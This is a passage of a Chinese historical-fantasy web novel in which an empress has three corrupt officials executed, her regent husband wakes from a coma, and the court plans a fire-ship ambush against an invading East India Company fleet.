那双美丽的凤眸之中,更是充满了,令人不敢直视的冰冷杀意! 她看着殿下那些,各怀鬼胎的文武百官,声音冰冷得如同来自九幽地狱的审判。 “朕知道,你们中的有些人在想什么。” “你们以为王爷倒下了,你们的机会就来了。” “你们以为,没了王爷,朕就只是一个可以任由你们拿捏的弱女子。” “今天,朕就让你们看清楚。” “到底,谁才是这个国家真正的主人!” 她猛地一拍龙椅的扶手,厉声喝道! “来人!” “将吏部侍郎张恒,户部员外郎李茂,还有京兆府少尹王冲,给朕拖上来!” 随着慕容嫣那一声冰冷的断喝。 整个太极殿瞬间陷入了死一般的寂静。 所有文武百官,都用一种难以置信的目光,看着那三名被点到名字的官员。 他们怎么也没想到,陛下的第一刀,竟然会砍向他们! 这三个人,虽然官职不算太高,但却都是朝中那些老牌世家,安插在关键部门的重要棋子。 平日里他们仗着背后有人撑腰,没少阳奉阴违,结党营私。 只是他们做得都极为隐蔽,让人抓不到什么实质性的把柄。 可现在,陛下竟然当着满朝文武的面,直接点了他们的名! 难道…… 一个可怕的念头,瞬间涌上了所有人的心头。 那三名被点到名字的官员,更是吓得,面如死灰,浑身抖如筛糠。 “陛……陛下……冤……冤枉啊!” 吏部侍郎张恒,第一个反应了过来,噗通一声跪倒在地,哭天抢地地喊起了冤。 “臣……臣对大乾忠心耿耿,对陛下更是忠心不二啊!不知……不知臣,所犯何罪啊?” “是啊,陛下!您……您可不能,听信谗言,冤枉好人啊!” 户部员外郎李茂和京兆府少尹王冲,也连忙跟着跪了下去,一个个都摆出了一副,比窦娥还冤的委屈模样。 然而,慕容嫣看着他们那拙劣的表演,脸上却是没有半分的动容。 她只是用一种看死人般的,冰冷的目光看着他们。 然后从御案之上拿起了一本,由锦衣卫指挥使赵无忌,连夜呈上来的卷宗。 “张恒,”她缓缓地开口,声音冰冷得,不带一丝感情,“永安六年,你收受江南盐商白银三万两,为其在吏部铨选中,谋取私利。” “永安七年,你与漠北部落暗通款曲,泄露我大乾军情,致使我北疆数千将士,惨死沙场。” “永安八年,也就是前不久,你又与那江南逆贼孔志谦,书信来往,意图里应外合,颠覆我大乾江山!” “桩桩件件,铁证如山!” “你,还敢说你冤枉?!” 慕容嫣的每一句话,都像是一记重锤,狠狠地敲在张恒的心上! 他呆呆地跪在地上,那张原本还算英俊的脸,早已是血色尽失,一片煞白。 他想不明白! 这些事,他明明做得都天衣无缝! 就连他背后的主子,都不知道! 陛下她……她到底是怎么知道的?! 第1190章 铁血女帝的狠辣 “至于你,李茂。”慕容嫣的目光,又落在了那名户部员外郎的身上。“你利用职务之便,侵吞赈灾粮款,倒卖官盐,私开矿山……这些烂事,就不用朕再一一为你细数了吧?” “还有你,王冲。”她的目光,最后落在了那名京兆府少尹的身上。“包庇罪犯,强抢民女,草菅人命……你这京兆府少尹的位置,就是靠着你姐夫,当朝太尉杨国忠的关系,才得来的吧?” “平日里,在长安城作威作福,鱼肉百姓,真当朕和王爷都是瞎子,是聋子吗?!” 慕容嫣的这番话,如同九天之上的滚滚惊雷,在整个太极殿内,轰然炸响! 所有文武百官,都被她所抖露出来的这些,触目惊心的罪行给彻彻底底地惊呆了! 他们怎么也没想到,在他们身边,在他们自以为固若金汤的官场之内,竟然还隐藏着如此之多的,令人发指的肮脏和腐败! 而那三名,被当众揭开了所有丑事的官员,更是早已吓得,魂不附体,瘫软在地,如同一滩烂泥。 他们知道,自己完了。 彻彻底底地,完了。 在绝对的证据面前,任何的狡辩和求饶,都显得是那么的,苍白和可笑。 “来人!”慕容嫣的声音,冰冷而又决绝,不带一丝一毫的感情。“将这三个,猪狗不如的国贼,给朕拖出去!” “斩了!” “传朕的旨意!将其三族之内,所有男丁一体处死!女眷,则全部贬为官妓,永世不得翻身!” “抄没其全部家产,充入国库!” “朕要让他们,为自己的所作所为,付出最惨痛的代价!” “朕也要让全天下的人都看看!” “敢在我大乾的土地上,与朕,与王爷,与这天下万民作对的!” “是个什么样的下场!” 那三名死到临头的官员,发出了凄厉的,不似人声的哭嚎和求救。 “不!陛下饶命啊!陛下饶命啊!” “太尉大人救我!姐夫救我啊!” 然而,慕容嫣却连看都懒得再看他们一眼。 而那位被点到名字的,当朝太尉杨国忠,更是吓得,直接从椅子上摔了下来,脸色苍白得,像一张死人脸。 他哪里还敢出来求情? 他现在只恨不得,自己从来都不认识王冲这个,成事不足败事有余的蠢货姐夫! 很快,那三名官员便被如狼似虎的御林军给拖了出去。 紧接着,殿外便传来了三声令人头皮发麻的凄厉惨叫。 和三声人头落地的沉闷声响。 整个太极殿再一次陷入了死一般的寂静。 所有官员都低着头,噤若寒蝉,连大气都不敢喘一口。 他们都被他们这位女帝陛下那狠辣无情,杀伐果断的铁血手腕,给彻彻底底地吓破了胆! 他们终于明白了。 摄政王殿下虽然倒下了。 但他们大乾,还有一位比摄政王殿下更加可怕,更加深不可测的铁血女帝! 有她在。 这个国家就乱不了! 慕容嫣看着殿下那些,一个个吓得如同鹌鹑一般的文武百官,那双冰冷的凤眸之中才终于闪过了一丝满意的神色。 她知道,她今天这番杀鸡儆猴的雷霆手段,已经成功地震慑住了所有心怀不轨的宵小之辈。 至少,在她夫君醒来之前。 这些人,应该不敢再轻举妄动了。 “众位爱卿,”她缓缓地开口,声音虽然依旧冰冷,但却已经没有了刚才那股滔天的杀意。“王爷虽然暂时龙体抱恙。” “但我大乾前进的步伐却绝不会因此而停下!” “从今日起,所有政务皆由朕,一人独断!” “朕希望,诸位能各司其职恪尽职守!” “与朕一起,将我们之前所规划的那些宏伟蓝图,一步一步地变为现实!” “若有玩忽职守阳奉阴违者!” “那三颗,还挂在午门之上的血淋淋的人头,就是你们的前车之鉴!” 慕容嫣这番充满了警告和杀伐意味的话,如同数九寒冬里的冰水,兜头盖脸地浇在了太极殿内所有官员的心上。 他们一个个噤若寒蝉,连头都不敢抬,生怕下一个被拖出去斩首示众的就是自己。 尤其是当朝太尉杨国忠,更是吓得面如土灰,浑身抖得像筛糠一样。 他怎么也没想到,自己那个不争气的姐夫,竟然会牵扯出如此之多的滔天大罪。 更没想到,这位平日里看起来温婉柔和的女帝陛下,动起手来,竟然比那位杀神一般的摄政王殿下,还要狠辣,还要不留情面! 三族之内,男丁一体处死,女眷贬为官妓! 这是何等残酷的,株连之刑! 他甚至可以想象,用不了多久,他那平日里最是疼爱的小外甥女,就会被送到教坊司,沦为那些达官贵人们的玩物。 一想到这里,杨国忠的心,就如同被刀割一般,疼得厉害。 但他却不敢有任何的怨言。 甚至连一丝一毫的不满,都不敢表露出来。 因为他知道,陛下这番雷霆手段,看似是在惩处张恒、李茂、王冲三人,实则却是在敲山震虎,杀鸡儆猴! 她这是在警告他们这些,盘根错节,势力庞大的老牌世家。 不要以为,摄政王倒下了,他们就可以为所欲为! 这个帝国,依旧牢牢地掌握在他们慕容家的手里! 谁敢乱动,谁就得死! “臣等……遵旨!” 在经历了长久的,死一般的寂静之后。 以太尉杨国忠为首的一众官员,才终于从巨大的恐惧和震惊中,反应了过来。 他们齐刷刷地,跪倒在地,声音之中,充满了无法掩饰的,敬畏和恐惧。 “很好。” 慕容嫣看着殿下,那黑压压的一片,跪倒在地的身影,那张冰冷的俏脸之上,才终于,露出了一丝,不易察觉的满意。 她知道,自己今天这番杀鸡儆猴的目的,已经达到了。 至少,在短时间之内,这些各怀鬼胎的老狐狸们,应该是不敢再轻举妄动了。 她深吸一口气,缓缓地从凤椅之上站了起来。 “都起来吧。” “今日之事,朕希望诸位能引以为戒。” “朕知道,你们中的很多人背后都站着大大小小的家族和势力。” “朕也无意,将你们赶尽杀绝。” “水至清则无鱼,这个道理,朕懂。” “但是,”她话锋一转,声音又一次变得凌厉起来,“朕的容忍是有限度的。” 第1191章 我又杀人了 “你们可以有自己的小心思,可以为自己的家族,谋取一些合理的利益。” “但这一切,都必须建立在一个前提之上!” “那就是绝对的忠诚!” “忠于我大乾!” “忠于朕!忠于王爷!” “谁要是,敢越过这条底线!” “谁要是,敢做出任何,有损于国家,有损于百姓利益的事情!” “那张恒、李茂、王冲三人的今天,就是你们的明天!” “听明白了吗?!” “臣等……明白!” 所有官员再一次齐声应诺,那声音比之前任何一次都更加的整齐划一,也更加的心悦诚服。 他们知道,从今天起大乾的朝堂,是真的要变天了。 一个真正由这位铁血女帝所主导的全新时代,已经来临了。 …… 退朝之后。 慕容嫣没有回栖凤阁。 而是直接去了,林臻所在的那个秘密工坊。 她现在,一刻也不想离开那个男人。 哪怕只是安安静静地,看着他那张苍白的睡颜,她也心满意足。 当她推开工坊大门的时候。 伊丽莎白正坐在林臻的床边,手里拿着一块温热的毛巾,小心翼翼地,为他擦拭着脸颊。 她的动作,很轻,很柔。 那双平日里总是充满了侵略性和野性的蓝色眼眸之中,此刻却写满了从未有过的温柔和心疼。 慕容嫣看着眼前这一幕,脚步微微一顿。 一股,连她自己都未曾察觉的淡淡的酸意,从心底悄然升起。 她知道自己不该有这样的情绪。 伊丽莎白,是为了报答林臻的救命之恩,才会如此。 而且,她现在也算是自己名义上的“侍女”。 她照顾林臻,本就是情理之中的事。 可她就是,控制不住自己的心。 她就是见不得,任何一个女人,用那样的眼神看着自己的男人。 哪怕那个女人再美,再优秀,也不行。 “咳咳。” 她故意轻轻地咳嗽了两声。 伊丽莎白听到声音,身体猛地一僵。 她霍然转头,看到是慕容嫣,那张美艳的俏脸之上,瞬间便闪过了一丝不易察觉的慌乱和尴尬。 “陛……陛下……” 她连忙站起身来,对着慕容嫣,微微躬身行礼。 “你怎么来了?” “我怎么不能来?”慕容嫣走到床边,看了一眼床上那个,依旧昏迷不醒的男人,声音平淡,听不出喜怒。“这里躺着的可是我的夫君。” 她故意,把“我的夫君”四个字,咬得特别重。 那股来自于女主人的强大的,不容侵犯的占有欲,瞬间便让伊丽莎白,感到了一阵莫名的压力。 “我……我不是那个意思……”伊丽莎白有些窘迫地解释道,“我只是……只是看王爷他,一直没醒,有些担心……” “有劳你费心了。”慕容嫣淡淡地说道,“不过,从现在起就不需要了。” “我的男人,由我亲自来照顾。” 她一边说着,一边自然而然地,从伊丽莎白的手中接过了那块温热的毛巾。 然后她坐在床边,开始用一种比伊丽莎白,还要温柔百倍,还要小心翼翼的动作,为林臻擦拭着他那张英俊的脸庞。 那专注而又深情的模样,仿佛她的整个世界里,都只剩下了床上这个男人。 伊丽莎白看着眼前这一幕,那双蓝色的眼眸之中,闪过了一丝极其复杂的羡慕,嫉妒,和深深的失落。 她知道自己输了。 输得一败涂地。 她或许可以成为这片大海上最强大的海盗女王。 但她却永远也无法像眼前这个女人一样。 拥有一个可以让她心甘情愿地放下所有骄傲和身段,去全心全意地爱着,和被爱着的男人。 她深吸一口气,缓缓地退出了这间充满了温馨却又让她感到无比窒息的房间。 她知道,这个房间不属于她。 这里是他们两个人的世界。 任何第三者,都无法也无权踏入分毫。 而就在伊丽莎白转身离开的瞬间。 床上那个,一直昏迷不醒的男人,他的手指却突然轻轻地动了一下 …… 慕容嫣正专心致志地为林臻擦拭着手心,丝毫没有注意到他那微弱的动作。 她擦得很仔细,很认真。 仿佛那不是一只手,而是全世界最珍贵的易碎瓷器。 她将他手心的每一条纹路,都用那温热的毛巾,轻轻地擦拭了一遍又一遍。 仿佛这样就能将他从那无边的黑暗之中,唤醒过来。 “夫君,”她一边擦着,一边低声地,絮絮叨叨地跟他说话,就像他们平日里一样。 “今天早朝我又杀人了。” “杀了三个罪大恶极的贪官。” “那帮老顽固,都被我吓破了胆,一个个都跟鹌鹑似的,乖得很。” “你看到了吗?没有你,我也一样可以,镇得住他们。” “所以,你不用担心我,也不用那么累了。” “你快点醒过来,好不好?” “醒过来,看看我,看看我为你守住的这片江山。” “醒过来,陪我说说话。” “我……我真的,好想你……” 她说着说着,眼圈又红了。 大颗大颗的泪珠不受控制地,从她那双美丽的凤眸之中滚落下来。 就在这时。 一只温暖有力的大手,突然轻轻地覆在了她那只正为他擦拭着手心的,冰冷的小手之上。 慕容嫣的身体,猛地一僵! 她霍然抬头! 正对上了一双她再熟悉不过的,充满了温柔、宠溺和无尽爱意的,深邃眼眸! 他醒了! 他真的,醒了! “傻丫头,” 林臻看着她那张,挂满了泪痕的,梨花带雨的绝美俏脸,脸上露出了一个虚弱却又无比温柔的笑容。 他的声音沙哑得,像两块破铁片在摩擦。 却又充满了让人心安的魔力。 “哭什么?” “我这不是醒过来了吗?” 那一瞬间,慕容嫣只觉得自己那颗早已被悲伤和绝望,折磨得千疮百孔的心,终于又一次活了过来。 巨大的,难以言喻的狂喜,如同决了堤的洪水一般瞬间将她整个人都彻底淹没! “夫君!” 她再也控制不住自己,猛地扑进他的怀里,放声大哭。 这一次,她的哭声里,不再是悲伤和绝望。 而是充满了失而复得的无尽的喜悦和幸福! “我……我还以为……我还以为你再也醒不过来了……” 她像一个受了天大委屈的孩子,语无伦次地控诉着,发泄着自己这些天来所积攒的所有的恐惧和不安。 “傻瓜。” 第1192章 竟敢进攻我大乾?疯了 林臻伸出那只,还有些虚弱无力的手轻轻地,抚摸着她那如同瀑布般的乌黑长发。 “我怎么舍得,丢下你一个人?” “我还没看够,我家嫣儿,为我君临天下的样子呢。” “我还没等到,我们的小太子或者小公主出生呢。” “我还有好多好多的事,要陪你一起做。” “所以,我怎么可能舍得死?” 他这番,充满了爱意和担当的情话,让慕容嫣的心里又是一阵甜蜜的悸动。 她抬起头,那双早已被泪水模糊的凤眸,痴痴地看着他仿佛怎么也看不够。 “你这个坏蛋……” 她抽了抽鼻子,声音里还带着浓浓的鼻音。 “你知不知道你吓死我了……” “知道,知道。”林臻笑着,用自己那还有些粗糙的指腹,轻轻地为她拭去脸上的泪痕。“都是夫君不好,让我的嫣儿担心了。” “以后,再也不会了。” 两人就这么静静地相拥着。 享受着这劫后余生的难得温存。 阳光透过窗户洒在他们身上。 “对了,”慕容嫣突然想起了什么,连忙从他的怀里坐了起来。“你刚刚醒,身体肯定还很虚弱。我……我这就去叫太医!” 她说着,便要起身下床。 却被林臻,一把拉住了手腕。 “不用。”林臻摇了摇头,脸上露出了一个,有些无奈的苦笑。“我自己的身体,我自己清楚。” “这次是伤到根本了。” “没个一年半载的,恐怕是恢复不过来了。” “而且这期间恐怕再也无法动用内力了。” 他说得很平静。 但慕容嫣却从他那平静的语气中,听出了一丝深深的失落。 她知道,对于他这样一个早已习惯了,站在武学之巅,俯瞰众生的绝世高手来说。 突然之间变成一个手无缚鸡之力的“废人”。 这种巨大的落差对他来说是一种何等残酷的折磨。 她的心,又是一阵针扎似的疼。 “没关系。”她反手,紧紧地握住他的手,那双美丽的凤眸之中充满了不容置疑的坚定。 “夫君你听着。” “就算你真的成了一个,手无缚鸡之力的废人。” “你也依旧是我慕容嫣的男人!” “是这大乾唯一的摄政王!” “以前是你在前面为我遮风挡雨,冲锋陷阵。” “那么从今天起,就换我来!” “换我来,为你撑起这片天!” 她这番,充满了霸气和担当的宣言,让林臻的心中,涌起了一股巨大的难以言喻的暖流。 他看着眼前这个明明身形娇小,却仿佛能扛起整个世界的女人。 心中除了爱便只剩下了无尽的骄傲。 他知道,自己这辈子做得最正确的一件事。 就是爱上了她。 “好。”他笑着点了点头。“那以后就全靠我们家皇后陛下保护了。” 他故意摆出了一副柔弱不能自理的可怜模样。 惹得慕容嫣,又是一阵又好气又好笑的白眼。 然而,就在这温馨而又甜蜜的气氛之中。 一个不合时宜的,带着一丝慌乱的,通报声,却突然从工坊外传了过来。 “启禀陛下!王爷!” 是鬼影的声音。 “广州,八百里加急军报!” “东印度公司的舰队,出现在了我们大乾的领海!” 东印度公司的舰队?! 这个消息像一颗惊雷,瞬间打破了工坊内那温馨而又甜蜜的气氛。 慕容嫣的脸色猛地一变! 她怎么也没想到,对方的动作竟然会如此之快! 她和林臻才刚刚回到长安没几天。 他们的“皇家银行”和“皇家商行”,甚至都还没来得及正式挂牌营业。 这帮来自西方的强盗,竟然就已经找上门来了! “他们来了多少船?多少人?”慕容嫣的声音瞬间变得冰冷而又充满了杀意。 “回陛下,”鬼影的声音,也同样充满了凝重,“根据广州那边传回来的情报,对方的舰队,规模极其庞大!” “共有,各类型战船,五十余艘!其中不乏有那种载重数万石,装备了数十门火炮的超级巨舰!” “其总兵力估计不下两万人!” “而且他们一进入我们大乾的领海,便悍然对我广州港外的,巡逻水师发动了攻击!” “我方水师,猝不及不及之下,损失惨重!已有三艘巡逻船,被击沉!数百名将士,伤亡!” “什么?!”慕容嫣闻言,猛地一拍床沿,那张绝美的俏脸之上早已是布满了一层冰冷的寒霜! “欺人太甚!” “这帮西夷蛮子,真当我大乾无人了吗?!” “传朕的旨意!”她的声音,冰冷得,不带一丝感情。 “命广州总督,即刻调集广东水师,所有战船!” “命福建总督,即刻调集福建水师,火速增援!” “朕要让他们,血债血偿!” “朕要让他们知道,胆敢在我大乾的领海之上撒野的!” “是个什么样的下场!” “是!”鬼影领命,便要转身离去。 “等等。”就在这时,一直没有说话的林臻,却突然开口了。 他的声音,虽然还有些虚弱,但却依旧充满了一种让人无法抗拒的沉稳和冷静。 慕容嫣和鬼影都有些意外地看向了他。 “夫君,”慕容嫣的眼中,充满了担忧,“你……” “我没事。”林臻摇了摇头,示意她不必担心。 他挣扎着,从床上坐了起来,虽然脸色依旧苍白,但那双深邃的眼睛里,却早已没有了刚才的虚弱,只剩下一片冰冷的同机器一般的绝对理智。 他看着鬼影,缓缓地说道:“传我的令。” “告诉广州和福建的总督。” “让他们,不要轻举妄动。” “所有战船,全部退守港口不得出战。” “什么?!”慕容嫣嫣和鬼影,都愣住了。 “夫君,你这是什么意思?”慕容嫣一脸不解地问道,“难道,我们就眼睁睁地,看着那帮西夷蛮子在我们的家门口耀武扬威吗?” “那可是我们大乾的将士啊!他们就这么白白牺牲了吗?” 她的声音里,充满了无法掩饰的,愤怒和不甘。 “当然不是。”林臻的眼中,闪过了一丝,狐狸般的,狡黠光芒。 第1193章 坚壁清野 “嫣儿,你忘了,我们现在的海军是个什么水平吗?” “我们那些最大也不过千石的,沿海小炮船,去跟人家那数万石的,超级巨舰硬碰硬?” “那不叫英勇,那叫送死。” “战争从来都不是,只凭一腔血勇就能打赢的。” “夫君,你的意思是……”慕容嫣冰雪聪明,瞬间便明白了,林臻的意图。 “没错。”林臻点了点头,嘴角勾起了一抹,冰冷的弧度。 “示敌以弱。” “他们不是觉得,自己的船坚炮利天下无敌吗?” “好啊,那我们就让他们再多得意一会儿。” “我们不仅要退守港口。” “我们还要把广州港所有值钱的东西,全都搬空!把所有的百姓全都撤离!” “给他们留下一座空城!” “我倒要看看他们这帮,不远万里跑来我们东方发战争财的强盗。” “在发现自己连一根毛都捞不到的时候。” “会是个什么样的表情。” “而且,”他的声音,变得愈发地,充满了诱惑力,“你想想他们那两万多人的大军,每天的吃喝拉撒,是个多么巨大的消耗?” “他们的补给线远在万里之外。” “只要我们坚壁清野跟他们耗下去。” “用不了多久他们自己就会因为粮草不济,而从内部崩溃瓦解!” “到时候我们再以逸待劳,聚而歼之!” “这才叫真正的不战而屈人之兵!” 林臻这番充满了“猥琐”和“阴险”的战术构想。 让慕容嫣和鬼影都听得是目瞪口呆。 他们怎么也没想到,这位在战场上一向是以,刚猛无俦,一往无前的风格而著称的摄政王殿下。 玩起这些,阴谋诡计来,竟然也他娘的是个顶尖的高手! 坚壁清野? 拖垮敌人? 这……这简直是,太损了! 也太……太有效了! “好!”慕容嫣的眼中也瞬间迸发出了无比璀璨的光芒! 她知道,自己夫君的这个计策,虽然听起来有些“不光彩”。 但却是眼下这种敌强我弱的局面下,最有效也是唯一可行的破局之法! “就依你!”她一锤定音。 “鬼影!” “属下在!” “立刻,以八百里加急将王爷的军令,传达给广州和福建!” “另外!”她的眼中,闪过了一丝,冰冷的寒光。 “传朕的旨意!” “命京兆府,即刻查封,所有与西方商人有过来往的商铺和洋行!” “所有金发碧眼的西夷人,一体下狱!严加审问!” “朕倒要看看,这东印度公司的舰队,来的到底是不是一个巧合!” “朕要将所有可能存在的,内奸和眼线全都给我连根拔起!” “是!”鬼影领命,眼中同样燃起了熊熊的杀意! 他知道一场看不见硝烟却远比任何战争都更加凶险的反间谍战,即将在整个大乾悄然打响! 而就在这时。 工坊之外却又一次传来了一个,急促的通报声。 “启禀陛下!王爷!” “神机营统领岳霏,于殿外求见!” “他说……他说他有破敌之策!” 岳霏? 听到这个名字,林臻和慕容嫣,都微微一愣。 他们怎么也没想到,这位他们一手提拔起来的新任兵部尚书,兼神机营统领,竟然会在这个节骨眼上,主动前来求见。 而且还说自己有破敌之策? “让他进来。”林臻沉吟了片刻,开口说道。 他倒想看看,这位历史上,以忠勇和刚直而著称的千古名将,在面对这种,超越了时代的降维打击时,能想出什么样的高招来。 很快,一名身穿崭新神机营统帅服,身材魁梧,面容刚毅,浑身都散发着一股,如同山岳一般,沉稳厚重气息的年轻将领,便大步流星地走了进来。 正是岳霏。 他一进门,看到床上那个,虽然脸色苍白,但眼神却依旧锐利如鹰隼的摄政王殿下,那双虎目之中,瞬间便闪过了一丝,难以掩饰的激动和担忧。 “末将岳霏,叩见王爷!叩见陛下!” 他单膝跪地,声音洪亮如钟,充满了军人特有的铁血与忠诚。 “末将听闻,王爷龙体有恙,心中万分焦急!恨不能以身代之!” “只是国事为重,军情紧急!末将不敢擅离职守,还望王爷恕罪!” “起来吧。”林臻看着眼前这个,自己无比欣赏的后辈,脸上露出了一丝,欣慰的笑容。 “你做得很好。” “身为三军表率,就该以国事为重。” “本王还没那么矫情。” “谢王爷!”岳霏站起身,那双炯炯有神的虎目,直视着林臻,声音之中,充满了,不容置疑的自信和决绝! “王爷,陛下!” “末将此来,是为请战!” “末将愿立下军令状!” “三日之内,若不能将来犯之敌,尽数歼灭于我大乾领海之上!” “末将,愿提头来见!” 此言一出,整个工坊之内,瞬间一片哗然! 就连林臻和慕容嫣都被他这番充满了豪情壮志,却又显得有些不自量力的“豪言”,给惊得半天说不出话来。 三日之内,全歼敌军? 他凭什么? 要知道,对方可是拥有着五十余艘,装备了先进火炮的超级巨舰! 而他们大乾的海军现在还只是一群,驾驶着沿海小舢板的“渔民”啊! 这根本就不是一个量级的对手! “岳爱卿,”慕容嫣的秀眉,微微蹙起,声音之中,带上了一丝,不悦。 “朕知道你忠君爱国,求战心切。” “但两军交战,非同儿戏!” “岂能如此意气用事?!” 此刻的她,依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,因为她心中的不悦而显得有些冰冷和严肃。 那只用真金线绣成的擎天巨凤,也仿佛在不满地审视着眼前这个有些“不知天高地厚”的年轻将领。 凤目之中闪烁着属于帝王的警告和威严。 那长达五丈的墨金色苏锦拖尾在她身后,安静地铺陈着,那华贵的凌乱之中透着一股不容置喙的强大气场。 第1194章 岳霏的毒计 “陛下教训的是。”岳霏闻言,却是没有半分的退缩。 他依旧是昂首挺胸,目光炯炯。 “末将并非意气用事。” “而是真的有破敌之策!” “哦?”林臻闻言,倒是来了兴致。“说来听听。” “你的破敌之策,是什么?” 岳霏深吸一口气,从怀中取出了一卷,早已准备好的羊皮地图。 然后将其在林臻和慕容嫣的面前,缓缓地展开。 那是一副极其详尽的,广州港附近海域的水文地图。 上面不仅详细地标注了,每一处,暗礁,浅滩和洋流的走向。 甚至连每日的潮汐变化规律,都用朱砂笔清清楚楚地标记了出来。 “王爷,陛下,请看。” 岳霏的手指,点在了地图上,一个位于广州港出海口附近,名为“虎门”的狭窄水道之上。 “此地,名为虎门。乃是进出我广州港的唯一通道。” “其水道狭窄,水流湍急,两岸更是礁石林立,暗流遍布。” “可谓是一夫当关,万夫莫开的天险之地!” “那西夷蛮子的舰队虽然船坚炮利,体型庞大。” “但也正因为如此,他们在进入这虎门水道之时,必然会因为航道狭窄,而无法完全展开阵型!” “其航速也必然会,因为湍急的水流和遍布的暗礁而大大降低!” “届时,他们那些所谓的,超级巨舰,在我等眼中便不再是,无法战胜的海上堡垒!” “而是一个个行动迟缓,首尾不能相顾的活靶子!” “而这就是我们的机会!” 林臻和慕容嫣,听着岳霏那,条理清晰,逻辑缜密的分析,那双眼睛都是越来越亮! 他们怎么也没想到,这个平日里看起来,有些木讷和耿直的年轻将领,在军事上竟然拥有着,如此敏锐的战术嗅觉! 他竟然能,在这么短的时间之内,就找到了敌我双方最大的优势和劣势所在! 并且还找到了一个,足以扭转整个战局的关键节点! “你的意思是……”林臻的眼中,闪过了一丝赞许的光芒,“我们可以在虎门,设下埋伏?” “没错!”岳霏重重地点了点头,那双虎目之中,迸发出了,骇人的,冰冷的杀意! “末将的计划是!” “我们可以效仿当年赤壁之战时,周公瑾的火攻之计!” “我们可以在虎门水道的,上游准备数百艘装满了硫磺,火油,和黑火药的小型火船!” “等到那西夷舰队进入虎门水道,进退两难之际!” “我们便顺流而下,万箭齐发!” “用这数百艘火船将他们那所谓的,无敌舰队,给我烧成一片火海!” “另外!”他的声音,变得更加的,充满了血腥和残忍! “我们还可以在,虎门两岸的山崖之上,提前埋设好,我们神机营的新式火炮!” “等到火起敌军大乱之际!” “我们便万炮齐发!” “将那些侥幸从火海中,逃出来的漏网之鱼,给我一艘一艘地全都进珠江里喂王八!” “如此火攻炮击,双管齐下!” “末将不信!” “他们那两万西夷蛮子,还能有插翅飞上天的本事?!” 岳霏的这番堪称是恶毒到了极点,也歹毒到了极点的火海之计。 让林臻和慕容嫣,都听得是一阵阵地头皮发麻! 他们看着眼前这个,正一脸杀气腾腾的年轻将领。 第一次发现原来老实人狠起来才是最可怕的! 这哪里是什么破敌之策? 这分明就是,一个为东印度公司舰队,量身打造的死亡陷阱! 一个足以将他们,彻底埋葬在异国他乡的烈火地狱! “好!好!好!” 在经历了短暂的震惊之后,林臻忍不住拍案叫绝! 他看着眼前这个,让自己都感到有些不寒而栗的年轻将领,眼中充满了毫不掩饰的欣赏和赞叹。 “岳飞啊岳飞,你可真是,给了本王一个天大的惊喜啊!” “本王原本以为,你只是一个,懂得按部就班,训练士卒的将才。” “却没想到,你在战术谋略之上竟然也有着,如此惊人的天赋!” “火烧虎门,炮轰舰队!好一个,双管齐下的绝户毒计!” “此计一出,别说是那什么东印度公司的舰队了,就算是天王老子来了,也得给咱们,在这珠江口,脱层皮!” 林臻这番,发自肺腑的夸赞,让一向沉稳的岳飞,那张古铜色的脸上,也忍不住浮现出了一抹,激动的红晕。 “王爷谬赞了!”他连忙躬身行礼道,“末将这点微末伎俩,在王爷您的,经天纬地之才面前,不过是,班门弄斧,贻笑大方罢了。” “若非王爷您,发明了那火枪火炮此等神物。” “末将就算有再多的计策,也不过是纸上谈兵,毫无用处。” “行了,你就别在这儿跟本王商业互吹了。”林臻没好气地白了他一眼。 然后他转过头,看向了身旁那位同样是,美眸之中异彩连连的绝美女帝。 “嫣儿,你觉得如何?” “此计,可行。”慕容嫣毫不犹豫地点了点头。 她虽然不像林臻和岳飞那样,精通军事。 但她却能凭借着自己那与生俱来的帝王嗅觉,判断出这个计划的可行性和巨大价值。 “只是……”她的话锋一转,那双美丽的凤眸之中,闪过了一丝担忧。“此计虽然精妙,但却也有一个致命的破绽。” “哦?”林臻和岳飞,都有些意外地看向了她。 “什么破绽?”林臻问道。 “那就是如何才能让敌人的舰队,乖乖地驶入我们为他们,准备好的虎门陷阱?”慕容嫣一针见血地,指出了问题的关键。 “那东印度公司的舰队统帅,既然能被委以重任,远征万里,想必也绝非庸才。” “虎门水道地势如此险要,他岂会看不出来?” “若是他心生警惕,不肯冒进。而是选择在港口之外,远远地抛锚驻扎。” “然后,再用他们的小船,分批次地对我们进行骚扰和试探。” “那我们这个看似完美的火攻之计,岂不就成了一个无用的摆设?” 慕容嫣的这番话,如同一盆冷水,瞬间浇醒了,还沉浸在兴奋之中的林臻和岳飞。 对啊! 他们光想着,怎么在虎门设伏,怎么用火攻炮击,去全歼敌军。 却完全忽略了最关键的一个问题。 那就是如何诱敌深入! 若是敌人不上当,不进圈套。 那他们所有的准备不就全都白费了吗? 第1195章 诱敌深入 一时间整个工坊之内,又一次陷入了凝重的沉默。 岳飞的眉头紧紧地锁了起来。 他知道陛下说的没错。 这是他这个计划中最大的也是最致命的一个漏洞。 他刚才光顾着兴奋了,竟然把这么关键的一点给忽略了。 这让他心中,不禁生出了一丝惭愧。 然而就在这时。 一直没有说话的林臻,却突然笑了。 他笑得很开心,很得意。 就像一只,刚刚偷到了鸡的,老狐狸。 “夫君,你……”慕容嫣看着他那,没心没肺的笑容有些不解也有些生气。“都什么时候了,你还笑得出来?” “我为什么笑不出来?”林臻的嘴角,勾起了一抹,高深莫测的弧度。 “我的皇后陛下,你是不是忘了。” “我们手里,可是还捏着一张,足以让任何敌人,都无法拒绝的,王牌啊。” “王牌?”慕容嫣和岳飞,都愣住了。 “对啊。”林臻笑着,从怀中,取出了一样东西。 那是一卷,用最上等的羊皮纸,绘制而成的,古老的地图。 正是伊丽莎白·斯旺,献给他们的那张,所谓的“世界尽头”的航海图! “这……”慕容嫣看着那张,她之前还嗤之以鼻的“藏宝图”,脸上,写满了困惑。 “夫君,你这是什么意思?你不会真的相信,这上面画的那些是什么无敌神舰吧?” “我当然不信。”林臻笑着摇了摇头。 “但是,我们不信,不代表别人不信啊。” “尤其是那些不远万里,从西方跑来我们东方,发战争财的,贪婪的强盗们。” “你想想,”他的声音,变得充满了诱惑力,“如果,我们把这张藏宝图,‘不小心’地,泄露出去。” “并且再放出风声,就说这图上所记载的,那三艘无敌神舰的秘密,就藏在,我们广州城内的,某个地方。” “你觉得,那个东印度公司的舰队统帅,在听到这个消息后,会是什么反应?” “他会不动心吗?” “他会放弃这个能让他一夜暴富,称霸整个海洋的,千载难逢的机会吗?” “他绝不会!” “他一定会,像一条疯狗一样,不顾一切地,冲进广州城!” “而想要进广州,他就必须,先过,虎门!” 林臻的这番,堪称是,“无中生有,暗度陈仓”的绝妙毒计。 